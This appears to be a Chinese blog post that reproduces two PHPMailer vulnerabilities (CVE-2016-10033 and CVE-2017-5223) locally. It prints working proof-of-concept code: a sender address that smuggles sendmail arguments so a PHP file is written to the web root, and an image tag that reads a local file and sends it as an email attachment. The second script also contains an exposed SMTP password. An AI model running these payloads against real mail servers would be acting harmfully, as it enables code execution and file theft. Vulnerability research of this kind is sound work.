PHPMailer命令执行及任意文件读取漏洞

简介:   今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个邮箱接口,前台页面需要单独自己写,没办法用这套CMS进行复现,这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现,记录一下。

  今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个邮箱接口,前台页面需要单独自己写,没办法用这套CMS进行复现,这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现,记录一下。

 

PHPMailer 命令执行漏洞(CVE-2016-10033)

漏洞编号:CVE-2016-10033

影响版本:PHPMailer< 5.2.18

漏洞级别: 高危

漏洞POC:

<?php /* 
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) 
A simple PoC (working on Sendmail MTA) 
It will inject the following parameters to sendmail command: 
Arg no. 0 == [/usr/sbin/sendmail] 
Arg no. 1 == [-t] 
Arg no. 2 == [-i] 
Arg no. 3 == [-fattacker\] 
Arg no. 4 == [-oQ/tmp/] 
Arg no. 5 == [-X/var/www/cache/phpcode.php] 
Arg no. 6 == [some"@email.com] 
which will write the transfer log (-X) into /var/www/cache/phpcode.php file. 
The resulting file will contain the payload passed in the body of the msg: 
09607 <<< --b1_cb4566aa51be9f090d9419163e492306 
09607 <<< Content-Type: text/html; charset=us-ascii 
09607 <<< 
09607 <<< <?php phpinfo(); ?> 09607 <<< 
09607 <<< 
09607 <<< 
09607 <<< --b1_cb4566aa51be9f090d9419163e492306-- 
See the full advisory URL for details. 
*/ // Attacker's input coming from untrusted source such as $_GET , $_POST etc.  // For example from a Contact form  $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com'; 
$msg_body  = "<?php phpinfo(); ?>"; // ------------------  // mail() param injection via the vulnerability in PHPMailer  require_once('class.phpmailer.php'); 
$mail = new PHPMailer(); // defaults to using php "mail()"  $mail->SetFrom($email_from, 'Client Name'); 
$address = "customer_feedback@company-X.com"; 
$mail->AddAddress($address, "Some User"); 
$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033"; 
$mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; 
} else { echo "Message sent!\n"; 
}

 

PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

漏洞编号: CVE-2017-5223

影响版本: PHPMailer <= 5.2.21

漏洞级别: 高危

漏洞POC:根据作者的POC改了几行,使其适用于qq邮箱

<?php  
#Author:Yxlink

require_once('PHPMailerAutoload.php');
$mail = new PHPMailer();
$mail->isSMTP();
$mail->Host = 'smtp.qq.com'; 
$mail->Port = 465; 
$mail->SMTPAuth = true; 
$mail->Username = xxxx@qq.com';  //qq邮箱
$mail->Password = 'zsuhxbmsaioxbcgb';//申请配置邮件客户端获取到的16位密码和qq密码不一样
$mail->SMTPSecure = 'ssl';


$mail->CharSet  = "UTF-8";
$mail->Encoding = "base64";
 
$mail->Subject = "hello";
$mail->From = "xxxx@qq.com";  
$mail->FromName = "test";  
 
$address = "xxxx@qq.com";
$mail->AddAddress($address, "test");
 
$mail->AddAttachment('test.txt','test.txt'); 
$mail->IsHTML(true);  
$msg="<img src='D:\\1.txt'>test";
$mail->msgHTML($msg);
 
if(!$mail->Send()) {
  echo "Mailer Error: " . $mail->ErrorInfo;
} else {
  echo "Message sent!";
}
?>

 

 

参考文章:

PHPMailer任意文件读取漏洞分析(CVE-2017-5223)http://www.freebuf.com/vuls/124820.html

PHPMailer 命令执行漏洞(CVE-2016-10033)分析 http://blog.csdn.net/wyvbboy/article/details/53969278

目录
相关文章
|
7月前
|
监控 算法 Java
记一次从任意文件下载到getshell
记一次从任意文件下载到getshell
84 0
|
PHP
php : 无法将“php”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。
php : 无法将“php”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。
1811 0
php : 无法将“php”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。
|
9月前
|
Linux Perl
【linux】解决文件名中带空格,命令执行出错的问题
【linux】解决文件名中带空格,命令执行出错的问题
299 0
|
11月前
|
安全 Java 应用服务中间件
从任意文件读取到拿webshell
从任意文件读取到拿webshell
|
11月前
|
XML 存储 安全
XXE 漏洞任意文件读取
XXE 漏洞任意文件读取
425 0
|
Shell
SHELL下把一个文件附加到另外一个文件,注意编码问题
SHELL下把一个文件附加到另外一个文件,注意编码问题
109 0
|
Shell Linux Perl
shell 定义绝对路径,出错 sed: 未找到命令,脚本功能:替换某一行内容
shell 定义绝对路径,出错 sed: 未找到命令,脚本功能:替换某一行内容
shell 定义绝对路径,出错 sed: 未找到命令,脚本功能:替换某一行内容
|
安全 Shell PHP
详解PHP代码执行漏洞--无字母shell
代码执行漏洞无字母shell讲解
150 0
详解PHP代码执行漏洞--无字母shell
|
安全 PHP
ctfshow-萌新-web9( 利用命令执行漏洞读取网站敏感文件)
ctf.show 萌新模块 web9关,这一关考察的是命令执行漏洞的利用方式,使用PHP的命令执行函数执行系统命令,读取网站根目录下的配置文件,获取flag
419 0
ctfshow-萌新-web9( 利用命令执行漏洞读取网站敏感文件)
|
安全 数据库
目录遍历漏洞和文件读取漏洞的区别
通过操作URL强行访问web目录以外的文件,目录和命令。网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以为进一步入侵网站做准备。
306 0

热门文章

最新文章